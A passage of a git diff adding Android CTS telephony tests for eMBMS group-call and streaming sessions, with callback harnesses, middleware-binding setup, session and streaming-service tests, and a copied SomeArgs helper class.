+        SomeArgs groupCallErrorArgs = mGroupCallCallback.waitOnError();
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_IN_E911, groupCallErrorArgs.arg1);
+        assertEquals(MbmsGroupCallTest.class.getSimpleName(), groupCallErrorArgs.arg2);
+
+        int broadcastSignalStrength = 3;
+        mMiddlewareControl.fireBroadcastSignalStrengthUpdated(broadcastSignalStrength);
+        assertEquals(broadcastSignalStrength,
+                mGroupCallCallback.waitOnBroadcastSignalStrengthUpdated().arg1);
+    }
+
+    @Test
+    public void testStartGroupCallFailure() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mGroupCallSession.startGroupCall(TMGI, SAI_LIST, FREQUENCY_LIST, mCallbackExecutor,
+                mGroupCallCallback
+        );
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallTestBase.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallTestBase.java
new file mode 100644
index 0000000..eb02a18
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsGroupCallTestBase.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.MbmsGroupCallSession;
+import android.telephony.cts.embmstestapp.CtsGroupCallService;
+import android.telephony.cts.embmstestapp.ICtsGroupCallMiddlewareControl;
+import android.telephony.mbms.MbmsGroupCallSessionCallback;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+import org.junit.After;
+import org.junit.Before;
+
+public class MbmsGroupCallTestBase {
+    protected static final int ASYNC_TIMEOUT = 10000;
+
+    protected static class TestCallback implements MbmsGroupCallSessionCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mOnAvailableSaisUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mOnServiceInterfaceAvailableCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mMiddlewareReadyCalls = new LinkedBlockingQueue<>();
+        private int mNumErrorCalls = 0;
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            MbmsGroupCallSessionCallback.super.onError(errorCode, message);
+            mNumErrorCalls += 1;
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onMiddlewareReady() {
+            MbmsGroupCallSessionCallback.super.onMiddlewareReady();
+            mMiddlewareReadyCalls.add(SomeArgs.obtain());
+        }
+
+        @Override
+        public void onAvailableSaisUpdated(List<Integer> currentSais,
+                List<List<Integer>> availableSais) {
+            MbmsGroupCallSessionCallback.super.onAvailableSaisUpdated(currentSais, availableSais);
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = currentSais;
+            args.arg2 = availableSais;
+            mOnAvailableSaisUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onServiceInterfaceAvailable(String interfaceName, int index) {
+            MbmsGroupCallSessionCallback.super.onServiceInterfaceAvailable(interfaceName, index);
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = interfaceName;
+            args.arg2 = index;
+            mOnServiceInterfaceAvailableCalls.add(args);
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnAvailableSaisUpdatedCalls() {
+            try {
+                return mOnAvailableSaisUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnServiceInterfaceAvailableCalls() {
+            try {
+                return mOnServiceInterfaceAvailableCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public boolean waitOnMiddlewareReady() {
+            try {
+                return mMiddlewareReadyCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS) != null;
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public int getNumErrorCalls() {
+            return mNumErrorCalls;
+        }
+    }
+
+    Context mContext;
+    HandlerThread mHandlerThread;
+    Executor mCallbackExecutor;
+    ICtsGroupCallMiddlewareControl mMiddlewareControl;
+    MbmsGroupCallSession mGroupCallSession;
+    TestCallback mCallback = new TestCallback();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = getContext();
+        mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
+        mHandlerThread.start();
+        mCallbackExecutor = (new Handler(mHandlerThread.getLooper()))::post;
+        mCallback = new TestCallback();
+        getControlBinder();
+        setupGroupCallSession();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mHandlerThread.quit();
+        mGroupCallSession.close();
+        mMiddlewareControl.reset();
+    }
+
+    private void setupGroupCallSession() throws Exception {
+        mGroupCallSession = MbmsGroupCallSession.create(
+                mContext, mCallbackExecutor, mCallback);
+        assertNotNull(mGroupCallSession);
+        assertTrue(mCallback.waitOnMiddlewareReady());
+        assertEquals(0, mCallback.getNumErrorCalls());
+        List initializeCall = (List) mMiddlewareControl.getGroupCallSessionCalls().get(0);
+        assertEquals(CtsGroupCallService.METHOD_INITIALIZE, initializeCall.get(0));
+    }
+
+    private void getControlBinder() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsGroupCallService.CONTROL_INTERFACE_ACTION);
+        bindIntent.setComponent(CtsGroupCallService.CONTROL_INTERFACE_COMPONENT);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                mMiddlewareControl = ICtsGroupCallMiddlewareControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mMiddlewareControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+    }
+
+    protected List<List<Object>> getMiddlewareCalls(String methodName) throws RemoteException {
+        return ((List<List<Object>>) mMiddlewareControl.getGroupCallSessionCalls()).stream()
+                .filter((elem) -> elem.get(0).equals(methodName))
+                .collect(Collectors.toList());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java
new file mode 100644
index 0000000..4e6c5ee
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import android.annotation.Nullable;
+import android.telephony.cts.embmstestapp.CtsStreamingService;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.StreamingService;
+import android.telephony.mbms.StreamingServiceCallback;
+
+import com.android.internal.os.SomeArgs;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+
+public class MbmsStreamingServiceTest extends MbmsStreamingTestBase {
+    private class TestStreamingServiceCallback extends StreamingServiceCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mStreamStateUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mMediaDescriptionUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mBroadcastSignalStrengthUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mStreamMethodUpdatedCalls =
+                new LinkedBlockingQueue<>();
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onStreamStateUpdated(@StreamingService.StreamingState int state,
+                @StreamingService.StreamingStateChangeReason int reason) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = state;
+            args.arg2 = reason;
+            mStreamStateUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onMediaDescriptionUpdated() {
+            SomeArgs args = SomeArgs.obtain();
+            mMediaDescriptionUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onBroadcastSignalStrengthUpdated(int signalStrength) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = signalStrength;
+            mBroadcastSignalStrengthUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onStreamMethodUpdated(int methodType) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = methodType;
+            mStreamMethodUpdatedCalls.add(args);
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnStreamStateUpdated() {
+            try {
+                return mStreamStateUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnMediaDescriptionUpdated() {
+            try {
+                return mMediaDescriptionUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnBroadcastSignalStrengthUpdated() {
+            try {
+                return mBroadcastSignalStrengthUpdatedCalls.poll(
+                        ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnStreamMethodUpdated() {
+            try {
+                return mStreamMethodUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+    }
+
+    private TestStreamingServiceCallback mStreamingServiceCallback =
+            new TestStreamingServiceCallback();
+
+    @Test
+    public void testStartStreaming() throws Exception {
+        StreamingService streamingService = mStreamingSession.startStreaming(
+                CtsStreamingService .STREAMING_SERVICE_INFO,
+                mCallbackExecutor, mStreamingServiceCallback);
+        assertNotNull(streamingService);
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO, streamingService.getInfo());
+
+        SomeArgs args = mStreamingServiceCallback.waitOnStreamStateUpdated();
+        assertEquals(StreamingService.STATE_STARTED, args.arg1);
+        assertEquals(StreamingService.REASON_BY_USER_REQUEST, args.arg2);
+
+        List<List<Object>> startStreamingCalls =
+                getMiddlewareCalls(CtsStreamingService.METHOD_START_STREAMING);
+        assertEquals(1, startStreamingCalls.size());
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
+                startStreamingCalls.get(0).get(2));
+    }
+
+    @Test
+    public void testGetPlaybackUri() throws Exception {
+        StreamingService streamingService = mStreamingSession.startStreaming(
+                CtsStreamingService .STREAMING_SERVICE_INFO,
+                mCallbackExecutor, mStreamingServiceCallback);
+        assertEquals(CtsStreamingService.STREAMING_URI, streamingService.getPlaybackUri());
+
+        List<List<Object>> getPlaybackUriCalls =
+                getMiddlewareCalls(CtsStreamingService.METHOD_GET_PLAYBACK_URI);
+        assertEquals(1, getPlaybackUriCalls.size());
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
+                getPlaybackUriCalls.get(0).get(2));
+    }
+
+    @Test
+    public void testStopStreaming() throws Exception {
+        StreamingService streamingService = mStreamingSession.startStreaming(
+                CtsStreamingService .STREAMING_SERVICE_INFO,
+                mCallbackExecutor, mStreamingServiceCallback);
+        streamingService.close();
+        List<List<Object>> stopStreamingCalls =
+                getMiddlewareCalls(CtsStreamingService.METHOD_STOP_STREAMING);
+        assertEquals(1, stopStreamingCalls.size());
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
+                stopStreamingCalls.get(0).get(2));
+    }
+
+    @Test
+    public void testStreamingCallbacks() throws Exception {
+        mStreamingSession.startStreaming(
+                CtsStreamingService .STREAMING_SERVICE_INFO,
+                mCallbackExecutor, mStreamingServiceCallback);
+
+        mMiddlewareControl.fireErrorOnStream(
+                MbmsErrors.StreamingErrors.ERROR_UNABLE_TO_START_SERVICE, "");
+        assertEquals(MbmsErrors.StreamingErrors.ERROR_UNABLE_TO_START_SERVICE,
+                mStreamingServiceCallback.waitOnError().arg1);
+
+        mMiddlewareControl.fireOnMediaDescriptionUpdated();
+        assertNotNull(mStreamingServiceCallback.waitOnMediaDescriptionUpdated());
+
+        int broadcastSignalStrength = 3;
+        mMiddlewareControl.fireOnBroadcastSignalStrengthUpdated(broadcastSignalStrength);
+        assertEquals(broadcastSignalStrength,
+                mStreamingServiceCallback.waitOnBroadcastSignalStrengthUpdated().arg1);
+
+        mMiddlewareControl.fireOnStreamMethodUpdated(StreamingService.BROADCAST_METHOD);
+        assertEquals(StreamingService.BROADCAST_METHOD,
+                mStreamingServiceCallback.waitOnStreamMethodUpdated().arg1);
+    }
+
+    @Test
+    public void testStartStreamingFailure() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mStreamingSession.startStreaming(CtsStreamingService.STREAMING_SERVICE_INFO,
+                mCallbackExecutor, mStreamingServiceCallback);
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
new file mode 100644
index 0000000..436f611
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.telephony.MbmsStreamingSession;
+import android.telephony.cts.embmstestapp.CtsStreamingService;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.StreamingServiceInfo;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+import org.junit.Test;
+
+public class MbmsStreamingSessionTest extends MbmsStreamingTestBase {
+    @Test
+    public void testDuplicateSession() throws Exception {
+        try {
+            MbmsStreamingSession failure = MbmsStreamingSession.create(
+                    mContext, mCallbackExecutor, mCallback);
+            fail("Duplicate create should've thrown an exception");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+    }
+
+    @Test
+    public void testRequestUpdateStreamingServices() throws Exception {
+        List<String> testClasses = Arrays.asList("class1", "class2");
+        mStreamingSession.requestUpdateStreamingServices(testClasses);
+
+        // Make sure we got the streaming services
+        List<StreamingServiceInfo> serviceInfos =
+                (List<StreamingServiceInfo>) mCallback.waitOnStreamingServicesUpdated().arg1;
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO, serviceInfos.get(0));
+        assertEquals(0, mCallback.getNumErrorCalls());
+
+        // Make sure the middleware got the call with the right args
+        List<List<Object>> requestStreamingServicesCalls =
+                getMiddlewareCalls(CtsStreamingService.METHOD_REQUEST_UPDATE_STREAMING_SERVICES);
+        assertEquals(1, requestStreamingServicesCalls.size());
+        assertEquals(3, requestStreamingServicesCalls.get(0).size());
+        List<String> middlewareReceivedServiceClasses =
+                (List<String>) requestStreamingServicesCalls.get(0).get(2);
+        assertEquals(testClasses.size(), middlewareReceivedServiceClasses.size());
+        for (int i = 0; i < testClasses.size(); i++) {
+            assertEquals(testClasses.get(i), middlewareReceivedServiceClasses.get(i));
+        }
+    }
+
+    @Test
+    public void testClose() throws Exception {
+        mStreamingSession.close();
+
+        // Make sure we can't use it anymore
+        try {
+            mStreamingSession.requestUpdateStreamingServices(Collections.emptyList());
+            fail("Streaming session should not be usable after close");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+
+        // Make sure that the middleware got the call to close
+        List<List<Object>> closeCalls = getMiddlewareCalls(CtsStreamingService.METHOD_CLOSE);
+        assertEquals(1, closeCalls.size());
+    }
+
+    @Test
+    public void testErrorDelivery() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mStreamingSession.requestUpdateStreamingServices(Collections.emptyList());
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingTestBase.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
new file mode 100644
index 0000000..1abec1a
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.MbmsStreamingSession;
+import android.telephony.cts.embmstestapp.CtsStreamingService;
+import android.telephony.cts.embmstestapp.ICtsStreamingMiddlewareControl;
+import android.telephony.mbms.MbmsStreamingSessionCallback;
+import android.telephony.mbms.StreamingServiceInfo;
+
+import com.android.internal.os.SomeArgs;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+import org.junit.After;
+import org.junit.Before;
+
+public class MbmsStreamingTestBase {
+    protected static final int ASYNC_TIMEOUT = 10000;
+
+    protected static class TestCallback extends MbmsStreamingSessionCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mStreamingServicesUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mMiddlewareReadyCalls = new LinkedBlockingQueue<>();
+        private int mNumErrorCalls = 0;
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            mNumErrorCalls += 1;
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onStreamingServicesUpdated(List<StreamingServiceInfo> services) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = services;
+            mStreamingServicesUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onMiddlewareReady() {
+            mMiddlewareReadyCalls.add(SomeArgs.obtain());
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnStreamingServicesUpdated() {
+            try {
+                return mStreamingServicesUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public boolean waitOnMiddlewareReady() {
+            try {
+                return mMiddlewareReadyCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS) != null;
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public int getNumErrorCalls() {
+            return mNumErrorCalls;
+        }
+    }
+
+    Context mContext;
+    HandlerThread mHandlerThread;
+    Executor mCallbackExecutor;
+    ICtsStreamingMiddlewareControl mMiddlewareControl;
+    MbmsStreamingSession mStreamingSession;
+    TestCallback mCallback = new TestCallback();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = getContext();
+        mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
+        mHandlerThread.start();
+        mCallbackExecutor = (new Handler(mHandlerThread.getLooper()))::post;
+        mCallback = new TestCallback();
+        getControlBinder();
+        setupStreamingSession();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mHandlerThread.quit();
+        mStreamingSession.close();
+        mMiddlewareControl.reset();
+    }
+
+    private void setupStreamingSession() throws Exception {
+        mStreamingSession = MbmsStreamingSession.create(
+                mContext, mCallbackExecutor, mCallback);
+        assertNotNull(mStreamingSession);
+        assertTrue(mCallback.waitOnMiddlewareReady());
+        assertEquals(0, mCallback.getNumErrorCalls());
+        List initializeCall = (List) mMiddlewareControl.getStreamingSessionCalls().get(0);
+        assertEquals(CtsStreamingService.METHOD_INITIALIZE, initializeCall.get(0));
+    }
+
+    private void getControlBinder() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsStreamingService.CONTROL_INTERFACE_ACTION);
+        bindIntent.setComponent(CtsStreamingService.CONTROL_INTERFACE_COMPONENT);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                mMiddlewareControl = ICtsStreamingMiddlewareControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mMiddlewareControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+    }
+
+    protected List<List<Object>> getMiddlewareCalls(String methodName) throws RemoteException {
+        return ((List<List<Object>>) mMiddlewareControl.getStreamingSessionCalls()).stream()
+                .filter((elem) -> elem.get(0).equals(methodName))
+                .collect(Collectors.toList());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/ServiceInfoTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/ServiceInfoTest.java
new file mode 100644
index 0000000..02f9ab2
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/ServiceInfoTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.telephony.mbms.StreamingServiceInfo;
+
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+
+import org.junit.Test;
+
+public class ServiceInfoTest {
+    private static final String ID = "StreamingServiceId";
+    private static final Map<Locale, String> LOCALE_DICT = new HashMap<Locale, String>() {{
+        put(Locale.US, "Entertainment Source 1");
+        put(Locale.CANADA, "Entertainment Source 1, eh?");
+    }};
+    private static final List<Locale> LOCALES = new ArrayList<Locale>() {{
+        add(Locale.CANADA);
+        add(Locale.US);
+    }};
+    private static final String NAME = "class1";
+    private static final Date BEGIN_DATE = new Date(2017, 8, 21, 18, 20, 29);
+    private static final Date END_DATE = new Date(2017, 8, 21, 18, 23, 9);
+    private static final StreamingServiceInfo STREAMING_SERVICE_INFO =
+        new StreamingServiceInfo(LOCALE_DICT, NAME, LOCALES, ID, BEGIN_DATE, END_DATE);
+
+    @Test
+    public void testDataAccess() {
+        assertEquals(LOCALES.size(), STREAMING_SERVICE_INFO.getLocales().size());
+        for (int i = 0; i < LOCALES.size(); i++) {
+            assertTrue(STREAMING_SERVICE_INFO.getLocales().contains(LOCALES.get(i)));
+            assertTrue(LOCALES.contains(STREAMING_SERVICE_INFO.getLocales().get(i)));
+        }
+        assertEquals(LOCALE_DICT.size(), STREAMING_SERVICE_INFO.getNamedContentLocales().size());
+        for (Locale l : STREAMING_SERVICE_INFO.getNamedContentLocales()) {
+            assertTrue(LOCALE_DICT.containsKey(l));
+            assertEquals(LOCALE_DICT.get(l), STREAMING_SERVICE_INFO.getNameForLocale(l).toString());
+        }
+
+        assertEquals(BEGIN_DATE, STREAMING_SERVICE_INFO.getSessionStartTime());
+        assertEquals(END_DATE, STREAMING_SERVICE_INFO.getSessionEndTime());
+        assertEquals(NAME, STREAMING_SERVICE_INFO.getServiceClassName());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/SomeArgs.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/SomeArgs.java
new file mode 100644
index 0000000..8303768
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/SomeArgs.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+/**
+ * Copied from com.android.internal.os to avoid linking errors.
+ */
+public final class SomeArgs {
+
+    private static final int MAX_POOL_SIZE = 10;
+
+    private static SomeArgs sPool;
+    private static int sPoolSize;
+    private static Object sPoolLock = new Object();
+
+    private SomeArgs mNext;
+
+    private boolean mInPool;
+
+    static final int WAIT_NONE = 0;
+    static final int WAIT_WAITING = 1;
+    static final int WAIT_FINISHED = 2;
+    int mWaitState = WAIT_NONE;
+
+    public Object arg1;
+    public Object arg2;
+    public Object arg3;
+    public Object arg4;
+    public Object arg5;
+    public Object arg6;
+    public Object arg7;
+    public Object arg8;
+    public Object arg9;
+    public int argi1;
+    public int argi2;
+    public int argi3;
+    public int argi4;
+    public int argi5;
+    public int argi6;
+
+    private SomeArgs() {
+        /* do nothing - reduce visibility */
+    }
+
